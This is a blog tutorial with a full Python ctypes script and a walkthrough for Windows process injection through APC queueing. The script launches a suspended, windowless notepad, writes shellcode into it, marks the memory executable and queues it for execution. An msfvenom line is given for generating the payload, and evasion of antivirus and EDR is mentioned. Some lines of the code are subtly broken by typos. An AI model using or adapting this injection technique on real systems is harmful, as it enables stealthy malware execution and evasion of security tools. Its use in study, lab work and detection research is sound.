Exploring Windows Process Injection via APC Queueing in Python
Windows Process Injection via APC Queueing in Python
This blog post explains a Windows process injection technique using Asynchronous Procedure Call (APC) queueing in Python, leveraging the ctypes module to access Windows APIs.
⚠️ Disclaimer: This content is for educational purposes only. Unauthorized use of this code may violate laws and system policies. Only use it in legal and controlled environments.
🔗 Check out the complete project on GitHub
🧠 What Is APC Queueing?
Asynchronous Procedure Call (APC) is a mechanism in Windows where functions can be queued to a thread and executed when the thread enters an alertable state. This technique can be used to inject and execute shellcode in a suspended process by queuing the malicious function and resuming the thread.
📦 Code
1from ctypes import *
2from ctypes import wintypes
3import subprocess
4
5
6kernell32 = windll.kernel32
7SIZE_T = c_size_t
8LPTSTR = POINTER(c_char)
9LPBYTE = POINTER(c_ubyte)
10
11
12VirtualAllocEx = kernell32.VirtualAllocEx
13VirtualAllocEx.argtypes = (wintypes.HANDLE, wintypes.LPVOID, SIZE_T, wintypes.DWORD,wintypes.DWORD)
14VirtualAllocEx.restype = wintypes.LPVOID
15
16WritePrcessMemory = kernell32.WriteProcessMemory
17WritePrcessMemory.argtypes = (wintypes.HANDLE, wintypes.LPVOID, wintypes.LPVOID, SIZE_T, POINTER(SIZE_T))
18WritePrcessMemory.restype = wintypes.BOOL
19
20class _SECURITY_ATTRIBUTES(Structure):
21 _fields_ = [('nLength',wintypes.DWORD),
22 ('lpSecurityDescriptor', wintypes.LPVOID),
23 ('bInheritHandle', wintypes.BOOL),]
24
25
26SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES
27LPSECURITY_ATTRIBUTES = POINTER(_SECURITY_ATTRIBUTES)
28LPTHREAD_START_ROUTINE = wintypes.LPVOID
29
30CreateRemoteThread = kernell32.CreateRemoteThread
31CreateRemoteThread.argtypes = (wintypes.HANDLE,LPSECURITY_ATTRIBUTES, SIZE_T,LPTHREAD_START_ROUTINE, wintypes.LPVOID, wintypes.DWORD, wintypes.LPDWORD)
32CreateRemoteThread.restype = wintypes.HANDLE
33
34MEM_COMMIT = 0X00001000
35MEM_RESERVE = 0X00002000
36PAGE_READWRITE = 0X04
37EXECUTE_IMMEDIATELY = 0X0
38PROCESS_ALL_ACCESS = (0X000F0000 | 0x00100000 | 0x00000FFF)
39
40VirtuallProtectEx = kernell32.VirtualProtectEx
41VirtualAllocEx.argtypes = (wintypes.HANDLE, wintypes.LPVOID, SIZE_T, wintypes.DWORD, wintypes.LPDWORD)
42VirtuallProtectEx.restype = wintypes.BOOL
43
44class STARTUPINFO(Structure):
45 _fields_ = [
46("cb", wintypes.DWORD),
47("lpReserved",LPTSTR),
48("lpDesktop", LPTSTR),
49("lpTitle", LPTSTR),
50("dwX", wintypes.DWORD),
51("dxY", wintypes.DWORD),
52("dwXSize", wintypes.DWORD),
53("dwYSize", wintypes.DWORD),
54("dwXCountChars", wintypes.DWORD),
55("dwYCountChars", wintypes.DWORD),
56("dwFillAttribute", wintypes.DWORD),
57("dwFlags", wintypes.DWORD),
58("wShowWindow", wintypes.WORD),
59("cbReserved2", wintypes.WORD),
60("lpReserved2", LPBYTE),
61("hStdInput", wintypes.HANDLE),
62("hStdOutput", wintypes.HANDLE),
63("hStdError", wintypes.HANDLE),
64]
65
66
67class PROCESS_INFORMATION(Structure):
68 _fields_ = [
69("hProcess", wintypes.HANDLE),
70("hThread", wintypes.HANDLE),
71("dwProcessId", wintypes.DWORD),
72("dwThreadId", wintypes.DWORD),
73]
74
75
76CreateProcessA = kernell32.CreateProcessA
77CreateProcessA.argtypes = (wintypes.LPCSTR, wintypes.LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, wintypes.BOOL, wintypes.DWORD, wintypes.LPVOID,wintypes.LPCSTR, POINTER(STARTUPINFO), POINTER(PROCESS_INFORMATION))
78CreateProcessA.restype = wintypes.BOOL
79
80#msfvenom -a x64 -p windows/x64/messagebox TITLE=hello TEXT=world -f py
81buf = ""
82
83def verify(x):
84 if not x:
85 raise WinError()
86
87startup_info = STARTUPINFO()
88startup_info.cb = sizeof(startup_info)
89
90startup_info.dwFlags = 1
91startup_info.wShowWindow = 1
92
93process_info = PROCESS_INFORMATION()
94
95CREATE_NEW_CONSOLE = 0x00000010
96CREATE_NO_WINDOW = 0x08000000
97CREATE_SUSPENDED = 0x00000004
98
99created = CreateProcessA(b"C:\WindowsSystem32
100otepad.exe", None, None, None, False, CREATE_SUSPENDED | CREATE_NO_WINDOW , None, None, byref(startup_info), byref(process_info))
101
102verify(created)
103
104pid = process_info.dwProcessId
105h_process = process_info.hProcess
106thread_id = process_info.dwThreadId
107h_thread = process_info.hTread
108
109print("Started process => Handle:{}, PID:{}, TID:{}".format(h_process,pid, thread_id))
110
111remote_memory = VirtualAllocEx(h_process,False, len(buf), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
112verify(remote_memory)
113print("Memory allocated => ", hex(remote_memory))
114
115write = WritePrcessMemory(h_process, remote_memory, buf, len(buf), None)
116verify(write)
117print("Bytes Written => {}".format(len(buf)))
118
119PAGE_EXECUTE_READ = 0x20
120old_protection = wintypes.DWORD(0)
121protect = VirtuallProtectEx(h_process, remote_memory, len(buf),PAGE_EXECUTE_READ, byref(old_protection))
122verify(protect)
123print("Memory protection updated from {} to {}".format(old_protection.value, PAGE_EXECUTE_READ))
124
125#rthread = CreateRemoteThread(h_process, None, 0, remote_memory,None, EXECUTE_IMMEDIATELY, None)
126#verify(rthread)
127
128PAPCFUNC = CFUNCTYPE(None, POINTER(wintypes.ULONG))
129
130QueueUserAPC = kernell32.QueueUserAPC
131QueueUserAPC.argtypes = (PAPCFUNC, wintypes.HANDLE,POINTER(wintypes.ULONG))
132QueueUserAPC.restype = wintypes.BOOL
133
134ResumeThread = kernell32.ResumeThread
135ResumeThread.argtypes = (wintypes.HANDLE, )
136ResumeThread.restype = wintypes.BOOL
137
138rqueue = QueueUserAPC(PAPCFUNC(remote_memory), h_thread, None)
139verify(rqueue)
140print("Queueing APC thread => {}".format(h_thread))
141
142rthread = ResumeThread(h_thread)
143verify(rthread)
144print("Resuming thread!")🛠️ Step by Step Code Walkthrough
🔹 1. Load Required Windows APIs
1from ctypes import *
2from ctypes import wintypesWe import ctypes to interact with Windows DLL functions, and wintypes for common Windows data types.
🔹 2. Define Function Prototypes
Functions like VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread are declared with proper argument types using .argtypes and .restype.
1VirtualAllocEx.argtypes = (wintypes.HANDLE, wintypes.LPVOID, c_size_t, wintypes.DWORD, wintypes.DWORD)
2VirtualAllocEx.restype = wintypes.LPVOID🔹 3. Define Constants and Structures
Windows APIs require constants (e.g., MEM_COMMIT, PAGE_READWRITE) and structures (STARTUPINFO, PROCESS_INFORMATION) to be defined in order to interact with system-level functionality.
🔹 4. Prepare the Target Process
The CreateProcessA() function launches a suspended instance of Notepad:
1CreateProcessA(b"C:WindowsSystem32
2otepad.exe", ..., CREATE_SUSPENDED | CREATE_NO_WINDOW, ...)This allows us to inject code before the process starts running.
🔹 5. Allocate Memory in the Remote Process
1remote_memory = VirtualAllocEx(h_process, False, len(buf), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)This allocates memory in the suspended Notepad process where we’ll place our shellcode.
🔹 6. Inject the Shellcode
1write = WriteProcessMemory(h_process, remote_memory, buf, len(buf), None)Here, buf should be a byte array (from msfvenom or similar) containing your shellcode.
🔹 7. Change Memory Permissions to Executable
1VirtualProtectEx(h_process, remote_memory, len(buf), PAGE_EXECUTE_READ, ...)After writing, we must mark the memory as executable using VirtualProtectEx.
🔹 8. Queue the Shellcode with APC
1QueueUserAPC(PAPCFUNC(remote_memory), h_thread, None)This tells Windows to run the shellcode the next time the suspended thread enters an alertable state.
🔹 9. Resume the Suspended Thread
1ResumeThread(h_thread)Finally, we resume the thread, which triggers the shellcode via the APC queue.
🧠 Summary
This script:
- Launches Notepad in a suspended state
- Allocates memory
- Injects and marks it executable
- Queues a shellcode function as an APC
- Resumes the thread to execute it
🔐 Important Notes
- This technique is commonly used in red teaming, malware analysis, and Evasion research
- Anti-virus and EDRs may detect or block these API calls
- The script as written is for educational purposes — the shellcode buffer is empty (
buf = ""), but in real use, you'd inject payloads frommsfvenomor similar tools
✅ Tips for Safe Use
- Only run this on lab environments
- Log and analyze behavior with tools like Procmon or x64dbg
- Study variations (e.g.,
CreateRemoteThread,NtQueueApcThread, etc.)